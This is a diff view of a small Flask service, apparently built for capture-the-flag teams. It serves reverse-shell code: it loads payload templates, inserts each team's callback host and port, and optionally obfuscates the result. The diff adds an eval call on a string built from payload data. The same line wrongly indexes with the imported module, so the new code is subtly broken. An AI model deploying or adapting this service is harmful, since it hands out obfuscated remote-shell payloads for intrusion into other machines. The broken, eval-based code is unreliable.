|
1 |
| -import json |
| 1 | +import json, obfuscator |
2 | 2 | from flask import Flask, request, Response
|
3 | 3 |
|
4 |
| - |
5 | 4 | app = Flask(__name__)
|
6 | 5 |
|
7 | 6 | DEFAULT_LANGUAGE = 'bash'
|
8 | 7 | DEFAULT_OBFUSCATE = False
|
9 |
| -DEFAULT_HOST = '127.0.0.1' |
10 |
| -DEFAULT_PORT = '8787' |
11 | 8 |
|
12 | 9 | @app.route('/', methods=['GET'], defaults={'team_id': None, 'language': None, 'return_raw': None})
|
13 | 10 | @app.route('/<team_id>', methods=['GET'], defaults={'language': None, 'return_raw': None})
|
14 | 11 | @app.route('/<team_id>/<language>', methods=['GET'], defaults={'return_raw': None})
|
15 | 12 | @app.route('/<team_id>/<language>/<return_raw>', methods=['GET'])
|
| 13 | + |
16 | 14 | def get_reverse_shell_code(team_id, language, return_raw):
|
17 | 15 | with open('payload.json', 'r') as f:
|
18 | 16 | payload = json.loads(f.read())
|
19 | 17 |
|
20 |
| - with open('team.json', 'r') as f: |
21 |
| - team = json.loads(f.read()) |
| 18 | + with open('teams.json', 'r') as f: |
| 19 | + teams = json.loads(f.read()) |
22 | 20 |
|
23 |
| - if team_id and team_id in team: |
24 |
| - host = team[team_id]['host'] |
25 |
| - port = team[team_id]['port'] |
26 |
| - else: |
27 |
| - host = DEFAULT_HOST |
28 |
| - port = DEFAULT_PORT |
| 21 | + if not team_id in teams: |
| 22 | + team_id = 'default' |
| 23 | + host = teams[team_id]['host'] |
| 24 | + port = teams[team_id]['port'] |
29 | 25 |
|
30 |
| - if not language or language not in payload: |
| 26 | + if language not in payload: |
31 | 27 | language = DEFAULT_LANGUAGE
|
32 | 28 |
|
33 |
| - if return_raw: |
34 |
| - code = payload[language]['raw'] |
35 |
| - else: |
36 |
| - code = payload[language]['obfuscate'] if DEFAULT_OBFUSCATE else payload[language]['raw'] |
37 |
| - # I don't know how to replace HOST and PORT in obfuscated code QQ |
38 |
| - return Response(code.format(HOST=host, PORT=port), mimetype='text/plain') |
| 29 | + code = payload[language]['raw'].format(HOST=host, PORT=port) |
| 30 | + if not return_raw: |
| 31 | + code = eval('obfuscator.' + payload[language][obfuscator])(code) |
| 32 | + |
| 33 | + return Response(code, mimetype='text/plain') |
39 | 34 |
|
40 | 35 | if __name__ == '__main__':
|
41 | 36 | # TODO: setup with argv
|
|
0 commit comments